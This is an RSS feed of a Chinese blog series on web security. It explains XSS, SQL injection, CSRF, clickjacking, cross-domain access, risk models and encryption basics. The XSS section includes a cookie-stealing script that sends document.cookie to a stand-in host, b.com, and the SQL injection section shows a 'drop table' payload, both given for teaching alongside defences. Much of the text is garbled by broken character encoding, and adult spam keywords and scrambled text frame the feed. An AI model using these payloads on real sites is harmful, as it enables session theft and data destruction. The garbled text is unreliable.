??xml version="1.0" encoding="utf-8" standalone="yes"?>日韩特级毛片,最近看过的日韩成人,精品久久久国产http://blogjava.net/linli/category/54790.htmlhttp://blog.gopersist.com/zh-cnSat, 25 Apr 2015 22:41:43 GMTSat, 25 Apr 2015 22:41:43 GMT60Web安全技?4)-常见的攻d防Mhttp://www.aygfsteel.com/linli/archive/2015/04/25/424668.html老林老林Sat, 25 Apr 2015 07:40:00 GMThttp://www.aygfsteel.com/linli/archive/2015/04/25/424668.htmlhttp://www.aygfsteel.com/linli/comments/424668.htmlhttp://www.aygfsteel.com/linli/archive/2015/04/25/424668.html#Feedback0http://www.aygfsteel.com/linli/comments/commentRss/424668.htmlhttp://www.aygfsteel.com/linli/services/trackbacks/424668.html

对于一个Web应用来说Q可能会面很多不同的攻凅R下面的内容介l一些常见的dҎQ以及面对这些攻ȝ防M手段?/p>

一、跨站脚本攻击(XSSQ?/h2>

跨站脚本d的英文全U是Cross Site ScriptQؓ了和样式表区分,~写为XSS。发生的原因是网站将用户输入的内容输出到面上,在这个过E中可能有恶意代码被览器执行?/p>

跨站脚本d可以分ؓ两种Q?/p>

1). 反射型XSS

它是通过׃用户打开一个恶意链接,服务端将链接中参数的恶意代码渲染到页面中Q再传递给用户由浏览器执行Q从而达到攻ȝ目的。如下面的链接:

http://a.com/a.jsp?name=xss<script>alert(1)</script> 

a.jsp页面渲染成下面的htmlQ?/p>

Hello xss<script>alert(1)</script> 

q时览器将会弹出提C框?/p>

2). 持久型XSS

持久型XSS恶意代码提交给服务器,q且存储在服务器端,当用戯问相兛_Ҏ再渲染到面中,以达到攻ȝ目的Q它的危x大?/p>

比如Q攻击者写了一带恶意JS代码的博客,文章发表后,所有访问该博客文章的用户都会执行这D|意JS?/p>

Cookie劫持

Cookie中一般保存了当前用户的登录凭证,如果可以得到Q往往意味着可直接进入用户帐P而Cookie劫持也是最常见的XSSd。以上面提过的反型XSS的例子来_可以像下面这h作:

首先׃用户打开下面的链接:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

用户打开链接后,会加载b.jsQƈ执行b.js中的代码。b.js中存储了以下JS代码Q?/p>

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

上面的代码会向b.comh一张图片,但实际上是将当前面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过E?/p>

防MCookie劫持的一个简单的Ҏ是在Set-Cookie时加上HttpOnly标识Q浏览器止JavaScript讉K带HttpOnly属性的Cookie?/strong>

XSS的防?/h3>

1). 输入?/strong>

对输入数据做查,比如用户名只允许是字母和数字Q邮必L指定格式。一定要在后台做查,否则数据可能l过前端查直接发l服务器。一般前后端都做查,q样前端可以挡掉大部分无效数据?/p>

对特D字W做~码或过滤,但因Z知道输出时的语境Q所以可能会做不适当的过滤,最好是在输出时具体情况具体处理?/p>

2). 输出?/strong>

Ҏ染到HTML中内Ҏ行HtmlEncodeQ对渲染到JavaScript中的内容执行JavascriptEncode?/p>

另外q可以用一些做XSS查的开源项目?/p>

二、SQL注入

SQL注入常常会听刎ͼ它与XSScMQ是׃用户提交的数据被当成命o来执行而造成的。下面是一个SQL注入的例子:

String sql = "select * from user where username = '" + username + "'"; 

像上面的SQL语句Q如果用h交的username参数是leoQ则数据库执行的SQL为:

select * from user where username = 'leo' 

但如果用h交的username参数是leo’; drop table user–Q那执行的SQL为:

select * from user where username = 'leo'; drop table user--' 

在查询数据后Q又执行了一个删除表的操作,q样的后果非怸重?/p>

SQL注入的防?/h3>

防止SQL注入最好的Ҏ是用预~译语句Q如下面所C:

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

不同语言的预~译Ҏ不同Q但基本都可以处理?/p>

如果遇到无法使用预编译方法时Q只能像防止XSS那样对参数进行检查和~码?/p>

三、跨站请求伪造(CSRFQ?/h2>

跨站h伪造的英文全称是Cross Site Request ForgeryQ是׃操作所需的所有参数都能被d者得刎ͼq而构造出一个伪造的hQ在用户不知情的情况下被执行。看下面一个例子:

如果a.com|站需要用L录后可以删除博客Q删除博客的h地址如下Q?/p>

GET http://a.com/blog/delete?id=1 

当用L录a.com后,又打开了http://b.com/b.htmlQ其中有下面的内容:

<img src="http://a.com/blog/delete?id=1"/> 

q时会以用户在a.com的n份发送http://a.com/blog/delete?id=1Q删除那博客?/p>

CSRF的防?/h3>
  1. 验证?/li>

CSRF是在用户不知情的情况下构造的|络情况Q验证码则强制用户与应用交互Q所以验证码可以很好得防止CSRF。但不能什么请求都加验证码?/p>

  1. referer?/li>

查请求header中的referer也能帮助防止CSRFdQ但服务器不是总能拿到refererQ浏览器可能Z安全或隐U而不发送refererQ所以也不常用。倒是囄防盗链中用得很多?/p>

  1. Anti CSRF Token

更多的是生成一个随机的tokenQ在用户提交数据的同时提交这个tokenQ服务器端比对后如果不正,则拒l执行操作?/p>

四、点d持(ClickJackingQ?/h2>

点击劫持是从视觉上欺骗用戗攻击者用一个透明的iframe覆盖在一个网上Q诱使用户在该网上操作Q而实际点d是点在透明的iframe面?/p>

点击劫持延Z很多d方式Q有囄覆盖d、拖拽劫持等?/p>

点击劫持的防?/h3>

针对iframe的攻击,可用一个HTTP_X-Frame-OptionsQ它有三U可选|

  • DENYQ?止M面的frame加蝲Q?/li>
  • SAMEORIGINQ只有同源页面的frame可加载;
  • ALLOW-FROMQ可定义允许frame加蝲的页面地址?/li>

针对囄覆盖dQ则注意使用预防XSS的方法,防止HTML和JS注入?/p>

微信订阅P
原文地址Q?a title="http://blog.gopersist.com/2015/04/25/web-security-4/">http://blog.gopersist.com/2015/04/25/web-security-4/



老林 2015-04-25 15:40 发表评论
]]>
Web安全技?3)-览器的跨域讉Khttp://www.aygfsteel.com/linli/archive/2015/04/22/424584.html老林老林Tue, 21 Apr 2015 16:15:00 GMThttp://www.aygfsteel.com/linli/archive/2015/04/22/424584.htmlhttp://www.aygfsteel.com/linli/comments/424584.htmlhttp://www.aygfsteel.com/linli/archive/2015/04/22/424584.html#Feedback4http://www.aygfsteel.com/linli/comments/commentRss/424584.htmlhttp://www.aygfsteel.com/linli/services/trackbacks/424584.html

一、浏览器介绍

对于Web应用来说Q浏览器是最重要的客L?/p>

目前览器五花八门多得不得了Q除了Chrome、IE、Firefox、Safari、Operaq些国外的浏览器外,癑ֺ、腾讯?60、淘宝、搜狗、傲怹cȝQ反正能做的都做了?/p>

览器虽然这么多Q但览器内怸要就以下4U:

  1. TridentQIE使用的内核?/li>
  2. GeckoQFirefox使用的内核?/li>
  3. WebKitQSafair和Chrome使用的内核。WebKitp果发明,Chrome也用了,但是Google又开发了V8引擎替换掉了WebKit中的Javascript引擎?/li>
  4. PrestoQOpera使用的内核?/li>

国内的浏览器基本都是双核览器,使用ZWebKit的内栔R速浏览常用网站,使用Trident内核兼容|银{网站?/p>

二、同源策?/h2>

同源{略是浏览器最基本的安全策略,它认ZQ何站点的内容都是不安全的Q所以当脚本q行Ӟ只被允许讉K来自同一站点的资源?/p>

同源是指域名、协议、端口都相同?/p>

如果没有同源{略Q就会发生下面这L问题Q?/p>

恶意|站用一个iframe把真实的银行d|C的页面上Q当用户使用用户名密码登录时Q父面的javascript可以读取到银行d表单中的内宏V?/p>

甚至览器的1个Tab|开了恶意网站,另一个Tab|开了银行网站,恶意|站中的javascript可以d到银行网站的内容。这样银行卡和密码就能被L拿走?/p>

三、跨域访?/h2>

׃同源{略的原因,览器对跨域讉K做了很多限制Q但有时我们的确需要做跨域讉KQ那要怎么办?主要有以下几U情况:

1. iframe的跨域访?/h3>

同域名下Q父面可以通过document.getElementById(‘_iframe’).contentWindow.document讉K子页面的内容Q但不同域名下会出现cM下面的错误:

Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

有两U解x法:

1). 当主域名相同Q子域名不同Ӟ比较Ҏ解决Q只需讄相同的document.domain卛_?/p>

如http://a.a.com/a.html使用iframe载入http://b.a.com/b.htmlQ且在a.html中有Javascript要修改b.html中元素的内容Ӟ可以像下面的代码那样操作?/p>

a.html

<html>
<head>
<script>
document.domain = 'a.com';
function changeIframeContent() {
var _iframe = document.getElementById('_iframe');
var _p = _iframe.contentWindow.document.getElementById('_p');
_p.innerHTML = 'Content from a.html';
}
</script>
</head>
<body>
<iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
<br>
<input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
</body>
</html>

b.html

<html>
<head>
<script>
document.domain = 'a.com';
</script>
</head>
<body>
<p id="_p">b.html</p>
</body>
</html>

2). 当主域名不同Ӟ非帔R烦了。大致的Ҏ像下面描q的那样Q?/p>

  • a.com下有a.htmlQ?/li>
  • a.html创徏iframe加蝲b.com下的b.htmlQ可在加载b.html旉过??参C递到b.html中;
  • b.html加蝲后,可以通过提取location.search或location.hash中的内容获取a.html传过来的参数Q?/li>
  • b.html创徏一个iframeQ加载a.com下的c.htmlQƈ且参C通过??传给c.htmlQ?/li>
  • 因ؓc.html和a.html是相同域名,所以c.html可以使用parent.parent讉K到a.html的对象,q样也就可以b.html需要传递的参数传回到a.html中?/li>

2. Ajax的跨域访?/h3>

Ajax主要通过XMLHttpRequest对象实现Q但是如果通过XMLHttpRequest讉K不同域名下的数据Q浏览器会出现类g面的错误Q?/p>

XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

q时可由以下两种Ҏ解决Q?/h4>

1). 使用<script>代替XMLHttpRequestQ也是JSONP的方法。利?lt;script>标签的src下加载的js不受同源{略限制Qƈ且加载后的jsq行在当前页面的域下Q所以可自由操作当前面的内宏V?/p>

下面的代码演CZ在a.com下的a.html通过b.com下的b.js中的内容来更新自w的p标签?/p>

a.html

<html>
<head>
<script>
function update_p (content) {
document.getElementById("_p").innerHTML = content;
}
function getFromB() {
var _script = document.createElement("script");
_script.type = "text/javascript";
_script.src = "http://b.com/demo/ajax/b.js";
document.getElementsByTagName("head")[0].appendChild(_script);
}
</script>
</head>
<body>
<p id="_p">a.html</p>
<input type="button" value="Get from b.com" onclick="getFromB()"/>
</body>
</html>

b.js

update_p("content from b.js"); 

在实际用中Q通常a.html会将update_p以callback参数名传递给b.com的服务器Q服务器动态生成数据后Q再用callback参数值包h作ؓ响应回传la.html?/p>

2). 在b.com的服务器q回信息中增加以下头信息Q?/p>

  • Access-Control-Allow-Origin: http://a.com
  • Access-Control-Allow-Methods: GET

此时览器便允许a.comd使用GEThb.com的内宏V?/p>

对于flash来说Q会要求在网站根目录下放一个名为crossdomain.xml的文Ӟ以指明允许访问的域名来源。文件中的内容类g面的样子Q?/em>

<cross-domain-policy>
<allow-access-from domain="*.a.com" />
</cross-domain-policy>

3. 使用HTML5的postMessageҎ实现跨域讉K

HTML5增加了跨文档消息传输Q下面的例子实现了用postMessage在不同域间传递消息:

a.html

<html>
<head>
<script>
function update_b () {
var _iframe = document.getElementById("_iframe");
_iframe.contentWindow.postMessage("content from a.html", "http://b.com");
}
</script>
<head>
<body>
<iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
<br>
<input type="button" value="Update b.html" onclick="update_b()"></input>
</body>
</html>

b.html

<html>
<head>
<script>
window.addEventListener("message", function (event) {
document.getElementById("_p").innerHTML = event.data;
}, false);
</script>
</head>
<body>
<p id="_p">b.html</p>
</body>
</html>

在postMessage中要指定接收方的域名Q如果发现目标页面的域名不正,抛出类g面这L错误Q?/p>

Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

览器对跨域讉K的限制是Z安全考虑的,所以在使用一些方法实现跨域访问时要特别小心?/em>

微信订阅P
源文地址Q?a >http://blog.gopersist.com/2015/04/22/web-security-3/



老林 2015-04-22 00:15 发表评论
]]>
Web安全技?2)-安全概述http://www.aygfsteel.com/linli/archive/2015/04/17/424507.html老林老林Fri, 17 Apr 2015 15:47:00 GMThttp://www.aygfsteel.com/linli/archive/2015/04/17/424507.htmlhttp://www.aygfsteel.com/linli/comments/424507.htmlhttp://www.aygfsteel.com/linli/archive/2015/04/17/424507.html#Feedback0http://www.aygfsteel.com/linli/comments/commentRss/424507.htmlhttp://www.aygfsteel.com/linli/services/trackbacks/424507.html一、安全的要素

信息安全的核心问题是要保障数据的合法使用者能够在M需要该数据时获得保密的Q没有被非法更改q的数据。主要有以下几要素:

机密?/p>

  • 保证数据内容不能泄露?/li>
  • 用户的密码用明文保存Q就破坏了机密性?/em>

完整?/p>

  • 保证数据内容不被改?/li>
  • 使用HTTP提交数据Ӟ数据在传输过E中被篡改后再发往服务器,q坏了完整性?/em>

可用?/p>

  • 保证数据可被正常讉K和用?/li>
  • 像拒l服务攻击(DoSQ就是破坏了可用性?/em>

最基本的安全要素就上面三个Q下面还有一些其他的?/strong>

可审计?/p>

  • 记录Ҏ据生的操作Q用于日后的分析、审查?/li>

不可抵赖?/p>

  • 首先要保证数据完整性,然后Q在传输的数据中必须携带用于w䆾识别的信息,且这部分信息在不同主体间不能发生撞?/li>

加密技术的使用

上一?a style="color: #1756a9; text-decoration: none;">《Web安全技?1)-对加密机制的理解?/a>中提C三类加密法Q可以应用于某些要素的安全保障。如下面的说明:

对称加密

  • 可保障机密性,Ҏ据加密后存储Q可以没有密钥的h员无法获取数据内宏V?/li>

非对U加?/strong>

  • 可以Ҏ据进行加密解密操作,所以也能像对称加密一样保障机密性;
  • 因ؓ非对U加密可以实现数字签名,所以可以保证数据完整性。另外,׃是用私钥签名,而私钥只有数据发送方才有Q所以如果公钥可以验{成功,则发送方不可抵赖?/li>

摘要加密

  • 摘要法可保障数据完整性?/p>

  • 在某些网站的软g下蝲面里,有时除了下蝲地址Q旁边还会有一个MD5码。这个MD5是对下载的软g做的摘要加密。在下蝲完成后,在本机对下蝲的Y件做MD5Q然后和|站上显C的MD5做比较,如果相同pCY件被成功下蝲Q而且下蝲q程中Y件内Ҏ有被改?/em>
  • 在做pȝӞ我们也经怼对密码做摘要加密后再保存Q因为摘要加密的一个特性是不可逆,q样通过数据库中保存的加密后的密码不可能q原成用L真实密码。而用L录时Q只需用h交的密码再做摘要加密Q然后与数据库中保存的密码比较,p判断用户有没有输入正的密码?/em>

二、风险分?/h2>

对于数据可能会遇C么威胁,一般是拍脑袋想一惻I也可以用模型帮忙,下面是一个叫STRIDE的威胁模型:

如何评估风险Q?/h3>

数据受到威胁可能造成损失Q但损失有大有小Q威胁发生的概率也有高有低,我们要结合具体情冉|寚w险做出判断。有一个叫DREAD的模型,可以指导我们如何判断威胁的风险程度?/p>

每一个因素都分高、中、低三个{Q权重值分别ؓ3???/p>

当有一个威胁时Q我们将它在每一个因素中的权重值相加,卛_得出风险pL?/p>

假如我们寚w险系数范围的定义如下Q?/p>

高危Q?2~15分,中危Q?~11分,低危Q?~7分?/p>

那如果以使用明文保存密码ZQ风险系数可能像下面q样计算Q?/p>

风险 = D(3) + R(1) + E(1) + A(3) + D(1) = 9分,q就是一个中危风险?/p>

后箋对威胁的处理Q应当根据风险的大小和修复的难易E度做出q?br />
微信订阅P
源文地址Q?a title="http://blog.gopersist.com/2015/04/17/web-security-2/">http://blog.gopersist.com/2015/04/17/web-security-2/



老林 2015-04-17 23:47 发表评论
]]>Web安全技?1)-对加密机制的理解http://www.aygfsteel.com/linli/archive/2015/04/13/424381.html老林老林Mon, 13 Apr 2015 13:51:00 GMThttp://www.aygfsteel.com/linli/archive/2015/04/13/424381.htmlhttp://www.aygfsteel.com/linli/comments/424381.htmlhttp://www.aygfsteel.com/linli/archive/2015/04/13/424381.html#Feedback0http://www.aygfsteel.com/linli/comments/commentRss/424381.htmlhttp://www.aygfsteel.com/linli/services/trackbacks/424381.html加密法

数据加密法有对U加密、非对称加密和信息摘要三cR?/p>

对称加密是用单个密钥对数据q行加密和解密。有DES、AES、RC-5{算法?/p>

非对U加密是使用一对密?公钥和私?Ҏ据进行加密和解密。有RSA、ECC{算法。非对称加密大概比对U加密慢100倍以上?/p>

通常的用法如下:

  1. 使用公钥加密数据Q用私钥解密数据?/li>
  2. 使用U钥{֐数据Q用公钥验证签名?/li>

信息摘要如果也算加密法的话Q它的加密过E不需要密钥,q且l过加密的数据无法被解密Q它是根据不定长的明文计得CD定长的数据。有MD5、SHA1{算法?/p>

密钥规范

规范太多Q网上讲得很乱,挑常用的按我的理解列一下?/p>

密钥格式Q?/h4>
  1. X.509Q通用的证书格式,包括公钥信息、用h识、签发信息等?/li>
  2. PKCSpȝ标准Q美国RSA数据安全公司及其合作伙伴制定的一l公钥密码学标准。其中PKCS#8描述U有密钥的信息格式,包括U钥及可选的属性集{?/li>

密钥存储Q?/h4>
  1. DERQ二q制~码?/li>
  2. PEMQASCII~码?/li>

加密模式

块密码自w只能加密长度等于密码块长度的单块数据,若要对变长数据进行加密,则必M先将数据q行切分Q而且最后一个数据块需要适当的填充方式扩展到密码块的长度。加密模式即块密码的工作模式Q就是用这些方式用同一个密钥对多于一块的数据q行加密?/p>

加密模式通常用于对称加密Q也可以用于非对U加密。但非对U加密通常不适合加密较长的信息,所以会使用混合加密代替?/p>

ps: 以RSA和DESZQ؜合加密通常使用DES先加密明文,再用RSA的公钥加密DES的密钥,再将2个密文一起传递出厅R接收方使用RSA的私钥解密DES的密钥信息,再用DES的密钥解密具体内宏V?/em>

最单的加密模式是ECBQ即电子密码本)。其他还有CBC、PCBC、CFB{?/p>

ECB和CBC需要对最后一块进行填充,填充Ҏ有很多种Q最单的是先在明文的最后填充空字符Q明文长度为密码块长度的整数倍?br />
微信订阅P
源文地址Q?a >http://blog.gopersist.com/2015/04/08/crypto/



老林 2015-04-13 21:51 发表评论
]]> վ֩ģ壺 ƺ| ¡| Ϫ| ׶| Ǽ| | Դ| | | ɿ| ī| ʲ| | | | | | »Ȱ| Դ| | Զ| | | | | º| | Ͽ| ˮ| ţ| | | ƽ| | ޶| | | ̨| | | ֺ|